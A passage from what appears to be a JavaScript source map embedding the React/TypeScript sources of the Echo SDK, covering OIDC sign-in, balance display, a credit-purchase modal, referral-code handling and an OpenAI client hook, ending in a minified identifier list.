`${apiUrl}/api/oauth/userinfo`,\n issuer: apiUrl,\n },\n\n userStore: new WebStorageStateStore({ store: window.localStorage }),\n };\n const manager = new UserManager(settings);\n\n // Make UserManager available globally for JWT testing\n (window as Window & { __echoUserManager?: UserManager }).__echoUserManager =\n manager;\n\n setUserManager(manager);\n }, [isClient, config.appId, config.apiUrl, config.redirectUri, config.scope]);\n\n const isAuthenticated = user !== null;\n\n // Create EchoClient with OAuth access token as API key\n const createClientWithToken = useCallback(\n (accessToken: string) => {\n const client = new EchoClient({\n baseUrl: config.apiUrl || 'https://echo.merit.systems',\n apiKey: accessToken,\n });\n return client;\n },\n [config.apiUrl]\n );\n\n // Convert OIDC user to Echo user format with security sanitization\n const convertUser = async (oidcUser: User): Promise<EchoUser> => {\n // With loadUserInfo: true, the OIDC library automatically calls the UserInfo endpoint\n // and merges the data into oidcUser.profile, so we just use that directly\n const profile = oidcUser.profile as EchoOAuthProfile;\n\n // Sanitize user profile data to prevent XSS attacks\n const rawProfile = {\n name:\n profile?.name ||\n profile?.given_name ||\n profile?.preferred_username ||\n profile?.email ||\n 'User',\n email: profile?.email || profile?.preferred_username || '',\n picture: profile?.picture || '',\n };\n\n const sanitizedProfile = sanitizeUserProfile(rawProfile);\n\n return {\n id: profile?.sub || profile?.user_id || profile?.id || 'unknown',\n email: sanitizedProfile.email,\n name: sanitizedProfile.name || 'User',\n picture: sanitizedProfile.picture,\n };\n };\n\n // Load user data (profile + balance)\n const loadUserData = useCallback(\n async (oidcUser: User) => {\n try {\n setError(null);\n const echoUser = await convertUser(oidcUser);\n setUser(echoUser);\n setToken(oidcUser.access_token);\n\n // Create client with access token and fetch balance\n const client = createClientWithToken(oidcUser.access_token);\n await loadBalanceWithClient(client);\n } catch (err) {\n const errorMessage =\n err instanceof Error ? err.message : 'Failed to load user data';\n setError(errorMessage);\n console.error('Error loading user data:', err);\n }\n },\n [createClientWithToken]\n );\n\n // Load balance using EchoClient\n const loadBalanceWithClient = useCallback(async (client: EchoClient) => {\n try {\n const balanceData: Balance = await client.getBalance();\n const freeTierBalanceData: FreeBalance = await client.getFreeBalance(\n config.appId\n );\n setBalance({\n totalPaid: balanceData.totalPaid,\n totalSpent: balanceData.totalSpent,\n balance: balanceData.balance,\n });\n setFreeTierBalance(freeTierBalanceData);\n } catch (err) {\n console.error('Error loading balance:', err);\n }\n }, []);\n\n // Sign in\n const signIn = async () => {\n if (!userManager) {\n throw new Error('UserManager not initialized');\n }\n await userManager.signinRedirect();\n };\n\n // Sign out\n const signOut = async () => {\n try {\n if (!userManager) {\n throw new Error('UserManager not initialized');\n }\n\n // Clear local state immediately\n setUser(null);\n setBalance(null);\n setToken(null);\n setError(null);\n\n // Remove user from storage\n await userManager.removeUser();\n\n // Attempt redirect (may fail in test environment)\n await userManager.signoutRedirect();\n } catch (error) {\n console.warn('Sign out redirect failed:', error);\n // State already cleared above\n }\n };\n\n // Clear authentication state (for error recovery)\n const clearAuth = useCallback(async () => {\n try {\n setUser(null);\n setBalance(null);\n setToken(null);\n setError(null);\n\n if (userManager) {\n await userManager.removeUser();\n }\n } catch (error) {\n console.warn('Error clearing auth state:', error);\n }\n }, [userManager]);\n\n // Enhanced method to attempt token refresh and retry an operation\n\n // Refresh balance using EchoClient with retry logic\n const refreshBalance = async () => {\n if (!userManager) {\n return;\n }\n const currentUser = await userManager.getUser();\n if (currentUser?.access_token) {\n const client = createClientWithToken(currentUser.access_token);\n await loadBalanceWithClient(client);\n }\n };\n\n // Create payment link using EchoClient\n const createPaymentLink = useCallback(\n async (\n amount: number,\n description?: string,\n successUrl?: string\n ): Promise<string> => {\n if (!userManager) {\n throw new Error('UserManager not initialized');\n }\n const currentUser = await userManager.getUser();\n if (!currentUser?.access_token) {\n throw new Error('Not authenticated');\n }\n\n try {\n setError(null);\n const client = createClientWithToken(currentUser.access_token);\n const url = await client.getPaymentUrl(\n amount,\n description || 'Echo Credits',\n successUrl\n );\n return url;\n } catch (err) {\n const errorMessage =\n err instanceof Error ? err.message : 'Failed to create payment link';\n setError(errorMessage);\n throw new Error(errorMessage);\n }\n },\n [userManager, createClientWithToken]\n );\n\n // Initialize and handle OAuth callback\n useEffect(() => {\n const initializeAuth = async () => {\n // If not on client-side, just set loading to false\n if (!isClient) {\n setIsLoading(false);\n return;\n }\n\n if (!userManager) {\n return; // Keep loading until userManager is initialized\n }\n\n try {\n setIsLoading(true);\n setError(null);\n\n // Check for existing session first\n const existingUser = await userManager.getUser();\n\n // Handle OAuth callback - check for authorization code in query params\n // Only process callback if no valid existing session\n if (\n window.location.search.includes('code=') &&\n (!existingUser || existingUser.expired)\n ) {\n console.log('Authenticating with code');\n const oidcUser = await userManager.signinRedirectCallback();\n await loadUserData(oidcUser);\n // Clean up URL\n window.history.replaceState(\n {},\n document.title,\n window.location.pathname\n );\n } else if (existingUser && !existingUser.expired) {\n // Use existing valid session\n await loadUserData(existingUser);\n }\n // remove the code if it includes a code= and there is an existing user which is not expired\n if (\n window.location.search.includes('code=') &&\n existingUser &&\n !existingUser.expired\n ) {\n window.history.replaceState(\n {},\n document.title,\n window.location.pathname\n );\n }\n } catch (err) {\n const errorMessage =\n err instanceof Error\n ? err.message\n : 'Authentication initialization failed';\n setError(errorMessage);\n console.error('Auth initialization error:', err);\n } finally {\n setIsLoading(false);\n }\n };\n initializeAuth();\n }, [isClient, userManager, loadUserData]);\n\n useRegisterReferralCode({\n appId: config.appId,\n client: createClientWithToken(token || ''),\n });\n\n // Set up event listeners for token events\n useEffect(() => {\n if (!userManager) {\n return;\n }\n\n const handleUserLoaded = (oidcUser: User) => {\n loadUserData(oidcUser);\n };\n userManager.events.addUserLoaded(handleUserLoaded);\n return () => {\n userManager.events.removeUserLoaded(handleUserLoaded);\n };\n }, [userManager, loadUserData, clearAuth]);\n\n const contextValue: EchoContextValue = {\n user,\n balance,\n freeTierBalance,\n isAuthenticated,\n isLoading,\n error,\n token,\n signIn,\n signOut,\n refreshBalance,\n createPaymentLink,\n getToken: async () => {\n if (!userManager) {\n throw new Error('UserManager not initialized');\n }\n const currentUser = await userManager.getUser();\n return currentUser?.access_token || null;\n },\n clearAuth,\n };\n\n return (\n <EchoContext.Provider value={contextValue}>{children}</EchoContext.Provider>\n );\n}\n","import { useContext } from 'react';\nimport { EchoContext } from '../components/EchoProvider';\n\nexport function useEcho() {\n const context = useContext(EchoContext);\n\n if (!context) {\n throw new Error('useEcho must be used within an EchoProvider');\n }\n\n return context;\n}\n","import React from 'react';\n\ninterface LogoProps {\n className?: string;\n width?: number;\n height?: number;\n variant?: 'light' | 'dark';\n}\n\nexport const Logo: React.FC<LogoProps> = ({\n className = '',\n width = 16,\n height = 16,\n variant = 'light',\n}) => {\n const fillColor = variant === 'dark' ? '#DFE2D9' : '#232323';\n\n return (\n <svg\n id=\"Layer_1\"\n data-name=\"Layer 1\"\n xmlns=\"http://www.w3.org/2000/svg\"\n viewBox=\"0 0 226.03 261\"\n className={className}\n width={width}\n height={height}\n aria-label=\"Echo Logo\"\n >\n <defs>\n <style>\n {`\n .cls-1 {\n fill: none;\n }\n .cls-3 {\n fill: #7f0404;\n }\n .cls-4 {\n fill: ${fillColor};\n }\n .cls-5 {\n fill: #a50404;\n }\n .cls-6 {\n fill: #cd0202;\n opacity: .9;\n }\n `}\n </style>\n </defs>\n <polygon\n className=\"cls-6\"\n points=\"59.23 99.45 59.23 161.55 113.02 192.61 113.02 130.5 59.23 99.45\"\n />\n <polygon\n className=\"cls-5\"\n points=\"113.02 68.39 113.02 68.39 59.23 99.45 113.02 130.5 166.8 99.45 113.02 68.39\"\n />\n <polygon\n className=\"cls-3\"\n points=\"166.8 99.45 113.02 130.5 113.02 192.61 113.02 192.61 166.8 161.55 166.8 99.45\"\n />\n <g>\n <path\n className=\"cls-4\"\n d=\"m113.02,196.41l-57.08-32.95v-65.91l57.08-32.95,57.08,32.95v65.91l-57.08,32.95Zm-52.53-35.58l52.53,30.33,52.53-30.33v-60.66l-52.53-30.33-52.53,30.33v60.66Z\"\n />\n <path\n className=\"cls-4\"\n d=\"m113.02,261L0,195.75V65.25L113.02,0l113.02,65.25v130.5l-113.02,65.25ZM6.82,191.81l106.2,61.31,106.2-61.31v-122.62L113.02,7.88,6.82,69.19v122.62Z\"\n />\n <rect\n className=\"cls-4\"\n x=\"111.88\"\n y=\"3.94\"\n width=\"2.27\"\n height=\"63.28\"\n />\n <rect\n className=\"cls-4\"\n x=\"-.83\"\n y=\"176.82\"\n width=\"63.28\"\n height=\"2.27\"\n transform=\"translate(-84.84 39.24) rotate(-29.99)\"\n />\n <rect\n className=\"cls-4\"\n x=\"194.08\"\n y=\"146.32\"\n width=\"2.27\"\n height=\"63.28\"\n transform=\"translate(-56.51 258.05) rotate(-60)\"\n />\n <rect\n className=\"cls-4\"\n x=\"111.88\"\n y=\"130.5\"\n width=\"2.27\"\n height=\"126.56\"\n />\n <rect\n className=\"cls-4\"\n x=\"104.54\"\n y=\"97.72\"\n width=\"126.56\"\n height=\"2.27\"\n transform=\"translate(-26.95 97.14) rotate(-29.99)\"\n />\n <rect\n className=\"cls-4\"\n x=\"57.08\"\n y=\"35.58\"\n width=\"2.27\"\n height=\"126.56\"\n transform=\"translate(-56.51 99.84) rotate(-60)\"\n />\n </g>\n </svg>\n );\n};\n","import { useEffect, useRef, useState } from 'react';\nimport { useEcho } from '../hooks/useEcho';\nimport { EchoTokenPurchaseProps } from '../types';\nimport { openPaymentFlow } from '../utils/security';\nimport { Logo } from './Logo';\n\n// Separate component for custom amount input to prevent parent re-renders\nconst CustomAmountInput = ({\n onAddCredits,\n onCancel,\n isProcessing,\n}: {\n onAddCredits: (amount: number) => void;\n onCancel: () => void;\n isProcessing: boolean;\n}) => {\n const [amount, setAmount] = useState('');\n const inputRef = useRef<HTMLInputElement>(null);\n\n useEffect(() => {\n if (inputRef.current) {\n inputRef.current.focus();\n }\n }, []);\n\n const handleAddCredits = () => {\n const purchaseAmount = Number(amount);\n if (purchaseAmount > 0) {\n onAddCredits(purchaseAmount);\n }\n };\n\n const isValidAmount = amount !== '' && Number(amount) > 0;\n\n return (\n <div\n style={{\n display: 'flex',\n flexDirection: 'column',\n alignItems: 'flex-end',\n gap: '8px',\n }}\n >\n <div style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>\n <span\n style={{\n fontSize: '14px',\n color: '#6b7280',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n $\n </span>\n <input\n ref={inputRef}\n type=\"number\"\n placeholder=\"0.00\"\n value={amount}\n onChange={e => setAmount(e.target.value)}\n style={{\n width: '96px',\n textAlign: 'right',\n padding: '8px 12px',\n border: '1px solid #e5e7eb',\n borderRadius: '6px',\n fontSize: '14px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n outline: 'none',\n backgroundColor: '#ffffff',\n }}\n min=\"1\"\n step=\"0.01\"\n />\n </div>\n <div style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>\n <button\n onClick={onCancel}\n style={{\n padding: '8px 12px',\n backgroundColor: 'transparent',\n color: '#6b7280',\n border: 'none',\n borderRadius: '6px',\n fontSize: '14px',\n cursor: 'pointer',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n textDecoration: 'none',\n }}\n onMouseEnter={e => {\n e.currentTarget.style.color = '#111827';\n }}\n onMouseLeave={e => {\n e.currentTarget.style.color = '#6b7280';\n }}\n >\n Cancel\n </button>\n <button\n onClick={handleAddCredits}\n disabled={isProcessing || !isValidAmount}\n style={{\n padding: '8px 16px',\n backgroundColor:\n isProcessing || !isValidAmount ? '#9ca3af' : '#dc2626',\n color: 'white',\n border: 'none',\n borderRadius: '6px',\n fontSize: '14px',\n fontWeight: '500',\n cursor: isProcessing || !isValidAmount ? 'not-allowed' : 'pointer',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={e => {\n if (!isProcessing && isValidAmount) {\n e.currentTarget.style.backgroundColor = '#b91c1c';\n }\n }}\n onMouseLeave={e => {\n if (!isProcessing && isValidAmount) {\n e.currentTarget.style.backgroundColor = '#dc2626';\n }\n }}\n >\n {isProcessing ? 'Processing...' : 'Add Credits'}\n </button>\n </div>\n </div>\n );\n};\n\nexport function EchoTokenPurchase({\n amount = 100,\n onPurchaseComplete,\n onError,\n className = '',\n children,\n}: EchoTokenPurchaseProps) {\n const {\n createPaymentLink,\n isAuthenticated,\n balance,\n freeTierBalance,\n refreshBalance,\n } = useEcho();\n const [isProcessing, setIsProcessing] = useState(false);\n const [purchaseError, setPurchaseError] = useState<string | null>(null);\n const [isModalOpen, setIsModalOpen] = useState(false);\n const [showCustomAmount, setShowCustomAmount] = useState(false);\n\n const formatCurrency = (value: number) => {\n return new Intl.NumberFormat('en-US', {\n style: 'currency',\n currency: 'USD',\n }).format(value);\n };\n\n // Calculate available spend: min(spendLimit, amount in pool) - amountSpent with floor of 0\n const calculateAvailableSpend = () => {\n return (\n (freeTierBalance?.userSpendInfo?.amountLeft || 0) +\n (balance?.balance || 0)\n );\n };\n\n const handlePurchase = async (purchaseAmount: number) => {\n if (!isAuthenticated) {\n const error = new Error('Please sign in to purchase tokens');\n setPurchaseError(error.message);\n if (onError) onError(error);\n return;\n }\n\n try {\n setIsProcessing(true);\n setPurchaseError(null);\n\n const paymentUrl = await createPaymentLink(purchaseAmount);\n\n await openPaymentFlow(paymentUrl, {\n onComplete: async () => {\n try {\n await refreshBalance();\n setIsModalOpen(false);\n setShowCustomAmount(false);\n if (onPurchaseComplete && balance) {\n onPurchaseComplete(balance);\n }\n } catch (err) {\n const error =\n err instanceof Error\n ? err\n : new Error('Failed to refresh balance');\n setPurchaseError(error.message);\n if (onError) onError(error);\n } finally {\n setIsProcessing(false);\n }\n },\n onCancel: () => {\n setIsProcessing(false);\n },\n onError: err => {\n setPurchaseError(err.message);\n if (onError) onError(err);\n setIsProcessing(false);\n },\n });\n } catch (err) {\n const error =\n err instanceof Error ? err : new Error('Failed to create payment link');\n setPurchaseError(error.message);\n if (onError) onError(error);\n setIsProcessing(false);\n }\n };\n\n const closeModal = () => {\n setIsModalOpen(false);\n setShowCustomAmount(false);\n setPurchaseError(null);\n };\n\n if (!isAuthenticated) {\n return (\n <div className={`echo-token-purchase ${className}`}>\n <div\n className=\"echo-token-purchase-unauthorized\"\n style={{\n padding: '12px',\n backgroundColor: '#fef3c7',\n color: '#92400e',\n borderRadius: '8px',\n fontSize: '14px',\n }}\n >\n Please sign in to purchase tokens\n </div>\n </div>\n );\n }\n\n // Compact button that exactly matches BalanceCard compact version\n const CompactButton = () => {\n const [isHovered, setIsHovered] = useState(false);\n\n return (\n <button\n onClick={() => setIsModalOpen(true)}\n className={`echo-token-purchase-compact ${className}`}\n style={{\n display: 'flex',\n alignItems: 'center',\n gap: '8px',\n padding: '10px 12px',\n borderRadius: '8px',\n backgroundColor: isHovered ? '#f1f5f9' : '#ffffff',\n border: '1px solid #e5e7eb',\n color: '#09090b',\n fontSize: '14px',\n fontWeight: '800',\n cursor: 'pointer',\n backdropFilter: 'blur(8px)',\n transition: 'all 0.2s ease',\n boxShadow: '0 1px 2px 0 rgba(0, 0, 0, 0.05)',\n height: '40px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={() => setIsHovered(true)}\n onMouseLeave={() => setIsHovered(false)}\n >\n {/* Logo */}\n <Logo width={16} height={16} variant=\"light\" />\n <span>{formatCurrency(calculateAvailableSpend())}</span>\n {/* Arrow Up Right Icon - matching lucide-react ArrowUpRight */}\n <svg\n width=\"12\"\n height=\"12\"\n viewBox=\"0 0 24 24\"\n fill=\"none\"\n stroke=\"currentColor\"\n strokeWidth=\"2\"\n strokeLinecap=\"round\"\n strokeLinejoin=\"round\"\n style={{\n color: isHovered ? '#dc2626' : '#6b7280',\n transition: 'color 0.2s ease',\n }}\n >\n <path d=\"M7 7h10v10\" />\n <path d=\"M7 17 17 7\" />\n </svg>\n </button>\n );\n };\n\n // Modal with credit purchase card design\n const Modal = () => (\n <div\n style={{\n position: 'fixed',\n top: 0,\n left: 0,\n right: 0,\n bottom: 0,\n backgroundColor: 'rgba(0, 0, 0, 0.5)',\n display: 'flex',\n alignItems: 'center',\n justifyContent: 'center',\n zIndex: 1000,\n padding: '16px',\n }}\n onClick={e => {\n if (e.target === e.currentTarget) {\n closeModal();\n }\n }}\n >\n <div\n style={{\n backgroundColor: '#ffffff',\n borderRadius: '12px',\n border: '1px solid #e5e7eb',\n padding: '0',\n width: '100%',\n maxWidth: '450px',\n maxHeight: '90vh',\n overflow: 'hidden',\n boxShadow:\n '0 10px 25px -5px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05)',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n display: 'flex',\n flexDirection: 'column',\n minHeight: '320px',\n }}\n >\n {/* Header */}\n <div style={{ padding: '24px 24px 0 24px', marginBottom: '24px' }}>\n <h2\n style={{\n fontSize: '18px',\n fontWeight: '500',\n color: '#111827',\n margin: 0,\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n Credits\n </h2>\n </div>\n\n {/* Current Balance and Purchase Section */}\n <div\n style={{\n marginBottom: '24px',\n padding: '0 24px',\n flex: '1 1 0%',\n display: 'flex',\n flexDirection: 'column',\n }}\n >\n {/* Free Tier Balance */}\n {freeTierBalance && (\n <div style={{ marginBottom: '20px' }}>\n <p\n style={{\n fontSize: '14px',\n color: '#6b7280',\n margin: '0 0 4px 0',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n Free Tier Available\n </p>\n <p\n style={{\n fontSize: '24px',\n fontWeight: '600',\n color: '#111827',\n margin: '0 0 8px 0',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n {formatCurrency(calculateAvailableSpend())}\n </p>\n\n {/* Usage Info */}\n {freeTierBalance.userSpendInfo &&\n freeTierBalance.userSpendInfo.spendLimit && (\n <div\n style={{\n fontSize: '12px',\n color: '#6b7280',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n <div style={{ marginBottom: '6px' }}>\n {formatCurrency(\n freeTierBalance.userSpendInfo.amountSpent\n )}{' '}\n of{' '}\n {formatCurrency(\n freeTierBalance.userSpendInfo.amountLeft +\n freeTierBalance.userSpendInfo.amountSpent\n )}{' '}\n used\n </div>\n {/* Progress Bar */}\n <div\n style={{\n width: '100%',\n height: '4px',\n backgroundColor: '#f3f4f6',\n borderRadius: '2px',\n overflow: 'hidden',\n }}\n >\n <div\n style={{\n width: `${Math.min(100, (freeTierBalance.userSpendInfo.amountSpent / freeTierBalance.userSpendInfo.spendLimit) * 100)}%`,\n height: '100%',\n backgroundColor: '#dc2626',\n }}\n />\n </div>\n </div>\n )}\n </div>\n )}\n\n {/* Paid Credits Balance */}\n <div\n style={{\n display: 'flex',\n alignItems: 'center',\n justifyContent: 'space-between',\n }}\n >\n <div style={{ flex: '1 1 0%', minWidth: '0' }}>\n <p\n style={{\n fontSize: '14px',\n color: '#6b7280',\n margin: '0 0 4px 0',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n Paid Credits Balance\n </p>\n <p\n style={{\n fontSize: '30px',\n fontWeight: '700',\n color: '#111827',\n margin: 0,\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n {balance ? formatCurrency(balance.balance) : '$0.00'}\n </p>\n </div>\n <div\n style={{\n display: 'flex',\n flexDirection: 'column',\n alignItems: 'flex-end',\n gap: '12px',\n }}\n >\n {!showCustomAmount ? (\n <>\n <button\n onClick={() => handlePurchase(10)}\n disabled={isProcessing}\n style={{\n padding: '10px 24px',\n backgroundColor: isProcessing ? '#9ca3af' : '#dc2626',\n color: 'white',\n border: 'none',\n borderRadius: '6px',\n fontSize: '14px',\n fontWeight: '500',\n cursor: isProcessing ? 'not-allowed' : 'pointer',\n transition: 'background-color 0.2s ease',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={e => {\n if (!isProcessing) {\n e.currentTarget.style.backgroundColor = '#b91c1c';\n }\n }}\n onMouseLeave={e => {\n if (!isProcessing) {\n e.currentTarget.style.backgroundColor = '#dc2626';\n }\n }}\n >\n {isProcessing ? 'Processing...' : 'Add $10 Credits'}\n </button>\n <button\n onClick={() => setShowCustomAmount(true)}\n style={{\n fontSize: '14px',\n color: '#6b7280',\n backgroundColor: 'transparent',\n border: 'none',\n textDecoration: 'underline',\n cursor: 'pointer',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={e => {\n e.currentTarget.style.color = '#111827';\n }}\n onMouseLeave={e => {\n e.currentTarget.style.color = '#6b7280';\n }}\n >\n Choose different amount\n </button>\n </>\n ) : (\n <CustomAmountInput\n onAddCredits={handlePurchase}\n onCancel={() => setShowCustomAmount(false)}\n isProcessing={isProcessing}\n />\n )}\n </div>\n </div>\n </div>\n\n {/* Error Message */}\n {purchaseError && (\n <div\n style={{\n margin: '0 24px 16px 24px',\n padding: '8px 12px',\n backgroundColor: '#fee2e2',\n color: '#dc2626',\n borderRadius: '6px',\n fontSize: '14px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n >\n {purchaseError}\n </div>\n )}\n\n {/* Close Button */}\n <div\n style={{\n padding: '16px 24px 24px 24px',\n display: 'flex',\n justifyContent: 'flex-end',\n marginTop: 'auto',\n }}\n >\n <button\n onClick={closeModal}\n style={{\n padding: '8px 16px',\n backgroundColor: '#f3f4f6',\n color: '#374151',\n border: 'none',\n borderRadius: '6px',\n fontSize: '14px',\n cursor: 'pointer',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n }}\n onMouseEnter={e => {\n e.currentTarget.style.backgroundColor = '#e5e7eb';\n }}\n onMouseLeave={e => {\n e.currentTarget.style.backgroundColor = '#f3f4f6';\n }}\n >\n Close\n </button>\n </div>\n </div>\n </div>\n );\n\n return (\n <>\n {children ? (\n <div\n onClick={() => setIsModalOpen(true)}\n style={{\n cursor: 'pointer',\n }}\n >\n {children}\n </div>\n ) : (\n <CompactButton />\n )}\n\n {isModalOpen && <Modal />}\n </>\n );\n}\n","import { useEffect } from 'react';\nimport { EchoClient } from '@merit-systems/echo-typescript-sdk';\n\ninterface UseRegisterReferralCodeOptions {\n appId: string;\n client: EchoClient;\n onSuccess?: () => void;\n onError?: (error: string) => void;\n}\n\n/**\n * Custom hook to handle referral code registration from URL parameters.\n * Automatically checks for referralCode parameter in the URL and registers it for the given app.\n */\nexport function useRegisterReferralCode({\n appId,\n client,\n onSuccess,\n onError,\n}: UseRegisterReferralCodeOptions) {\n useEffect(() => {\n const registerReferralCode = async () => {\n if (typeof window === 'undefined') return;\n\n const urlParams = new URLSearchParams(window.location.search);\n const referralCode = urlParams.get('referralCode');\n\n if (!referralCode) return;\n\n const result = await client.registerReferralCode(appId, referralCode);\n\n if (!result) return;\n\n // Clean up URL parameter\n urlParams.delete('referralCode');\n window.history.replaceState(\n {},\n '',\n `${window.location.pathname}${urlParams.toString() ? `?${urlParams.toString()}` : ''}`\n );\n\n if (result.success) {\n onSuccess?.();\n } else {\n onError?.(result.message);\n }\n };\n\n registerReferralCode();\n }, [appId, client, onSuccess, onError]);\n}\n","import React, { useState } from 'react';\nimport { EchoSignInProps } from '../types';\nimport { useEcho } from '../hooks/useEcho';\nimport { sanitizeText } from '../utils/security';\nimport { Logo } from './Logo';\n\nexport function EchoSignIn({\n onSuccess,\n onError,\n className = '',\n children,\n}: EchoSignInProps) {\n const { signIn, isAuthenticated, isLoading, user, error } = useEcho();\n const [isHovered, setIsHovered] = useState(false);\n\n React.useEffect(() => {\n if (isAuthenticated && user && onSuccess) {\n onSuccess(user);\n }\n }, [isAuthenticated, user, onSuccess]);\n\n React.useEffect(() => {\n if (error && onError) {\n onError(new Error(error));\n }\n }, [error, onError]);\n\n const handleSignIn = async () => {\n try {\n await signIn();\n } catch (err) {\n if (onError) {\n onError(err instanceof Error ? err : new Error('Sign in failed'));\n }\n }\n };\n\n if (isAuthenticated) {\n return (\n <div className={`echo-signin-success ${className}`}>\n <div\n style={{\n display: 'flex',\n alignItems: 'center',\n gap: '8px',\n padding: '12px 16px',\n backgroundColor: '#f8fafc',\n border: '1px solid #e2e8f0',\n borderRadius: '8px',\n color: '#334155',\n fontSize: '14px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n fontWeight: '800',\n width: 'fit-content',\n }}\n >\n <Logo width={16} height={16} variant=\"light\" />\n <span>Signed in as {sanitizeText(user?.name || user?.email)}</span>\n </div>\n </div>\n );\n }\n\n return (\n <div className={`echo-signin ${className}`}>\n {children ? (\n <div onClick={handleSignIn} style={{ cursor: 'pointer' }}>\n {children}\n </div>\n ) : (\n <button\n onClick={handleSignIn}\n disabled={isLoading}\n className=\"echo-signin-button\"\n style={{\n display: 'flex',\n alignItems: 'center',\n gap: '8px',\n padding: '12px 20px',\n backgroundColor: isLoading\n ? '#f3f4f6'\n : isHovered\n ? '#f1f5f9'\n : '#ffffff',\n color: isLoading ? '#9ca3af' : '#09090b',\n border: '1px solid #e5e7eb',\n borderRadius: '8px',\n cursor: isLoading ? 'not-allowed' : 'pointer',\n fontSize: '14px',\n fontWeight: '800',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n transition: 'all 0.2s ease',\n boxShadow: '0 1px 2px 0 rgba(0, 0, 0, 0.05)',\n backdropFilter: 'blur(8px)',\n }}\n onMouseEnter={() => setIsHovered(true)}\n onMouseLeave={() => setIsHovered(false)}\n >\n <Logo width={16} height={16} variant=\"light\" />\n <span>{isLoading ? 'Signing in...' : 'Sign in'}</span>\n </button>\n )}\n\n {error && (\n <div\n className=\"echo-signin-error\"\n style={{\n marginTop: '12px',\n display: 'flex',\n alignItems: 'center',\n gap: '8px',\n padding: '12px 16px',\n backgroundColor: '#fef2f2',\n border: '1px solid #fecaca',\n borderRadius: '8px',\n color: '#dc2626',\n fontSize: '14px',\n fontFamily: 'HelveticaNowDisplay, sans-serif',\n fontWeight: '800',\n width: 'fit-content',\n }}\n >\n <span>{error}</span>\n </div>\n )}\n </div>\n );\n}\n","import { useState, useEffect, useRef } from 'react';\nimport { useEcho } from './useEcho';\n\n// Type-only import to avoid runtime dependency\ntype OpenAI = import('openai').OpenAI;\n\ninterface UseEchoOpenAIOptions {\n baseURL?: string;\n enabled?: boolean; // Allow disabling the hook\n}\n\ninterface UseEchoOpenAIResult {\n openai: OpenAI;\n isReady: boolean;\n error: string | null;\n isLoading: boolean;\n}\n\nexport function useEchoOpenAI(\n options: UseEchoOpenAIOptions = {}\n): UseEchoOpenAIResult {\n const { baseURL = 'https://echo.router.merit.systems', enabled = true } =\n options;\n\n const { token, isAuthenticated } = useEcho();\n const [openai, setOpenai] = useState<OpenAI | undefined>(undefined);\n const [error, setError] = useState<string | null>(null);\n const [isLoading, setIsLoading] = useState(false);\n\n // Use ref to track if we should abort the current load operation\n const abortControllerRef = useRef<AbortController | null>(null);\n\n useEffect(() => {\n // Clean up any previous load operation\n if (abortControllerRef.current) {\n abortControllerRef.current.abort();\n }\n\n if (!enabled || !token || !isAuthenticated) {\n setOpenai(undefined);\n setError(null);\n setIsLoading(false);\n return;\n }\n\n const loadOpenAI = async () => {\n // Create new abort controller for this load operation\n const abortController = new AbortController();\n abortControllerRef.current = abortController;\n\n setIsLoading(true);\n setError(null);\n\n try {\n // Check if operation was aborted\n if (abortController.signal.aborted) {\n return;\n }\n\n // Dynamic import to only load OpenAI when needed\n const { default: OpenAI } = await import('openai');\n\n // Check again after async import\n if (abortController.signal.aborted) {\n return;\n }\n\n const client = new OpenAI({\n apiKey: token,\n baseURL,\n dangerouslyAllowBrowser: true,\n });\n\n // Only set state if not aborted\n if (!abortController.signal.aborted) {\n setOpenai(client);\n }\n } catch (err) {\n // Only handle error if not aborted\n if (!abortController.signal.aborted) {\n const errorMessage =\n err instanceof Error ? err.message : 'Failed to load OpenAI';\n\n // Check if it's a module not found error\n if (\n errorMessage.includes('Cannot resolve module') ||\n errorMessage.includes('Module not found') ||\n errorMessage.includes('openai')\n ) {\n setError(\n 'OpenAI package not found. Please install it with: pnpm add openai'\n );\n } else {\n setError(`Failed to initialize OpenAI client: ${errorMessage}`);\n }\n\n console.error('Error loading OpenAI:', err);\n setOpenai(undefined);\n }\n } finally {\n // Only update loading state if not aborted\n if (!abortController.signal.aborted) {\n setIsLoading(false);\n }\n }\n };\n\n loadOpenAI();\n\n // Cleanup function\n return () => {\n if (abortControllerRef.current) {\n abortControllerRef.current.abort();\n }\n };\n }, [token, isAuthenticated, baseURL, enabled]);\n\n return {\n openai: openai as OpenAI,\n isReady: openai !== undefined && !isLoading,\n error,\n isLoading,\n };\n}\n"],"names":["InvalidTokenError","Error","base64UrlDecode","str","output","replace","length","decodeURIComponent","atob","m","p","code","charCodeAt","toString","toUpperCase","b64DecodeUnicode","err","prototype","name","level","logger","Log2","nopLogger","debug","info","warn","error","Log","reset","setLevel","value","setLogger","Logger","_Logger","constructor","_name","this","args","_format","_method","create","method","methodLogger","Object","createStatic","staticMethod","staticLogger","prefix","JwtUtils","decode","token","options","pos","header","part","split","decoded","e","message","JSON","parse","jwtDecode","generateSignedJwt","payload","privateKey","encodedToken","CryptoUtils","encodeBase64Url","TextEncoder","encode","stringify","signature","window","crypto","subtle","sign","hash","Uint8Array","toBase64","val","btoa","map","chr","String","fromCharCode","join","_CryptoUtils","_randomWord","arr","Uint32Array","getRandomValues","generateUUIDv4","c","generateCodeVerifier","generateCodeChallenge","code_verifier","data","hashed","digest","generateBasicAuth","client_id","client_secret","alg","msgUint8","hashBuffer","customCalculateJwkThumbprint","jwk","jsonObject","kty","n","crv","x","y","k","utf8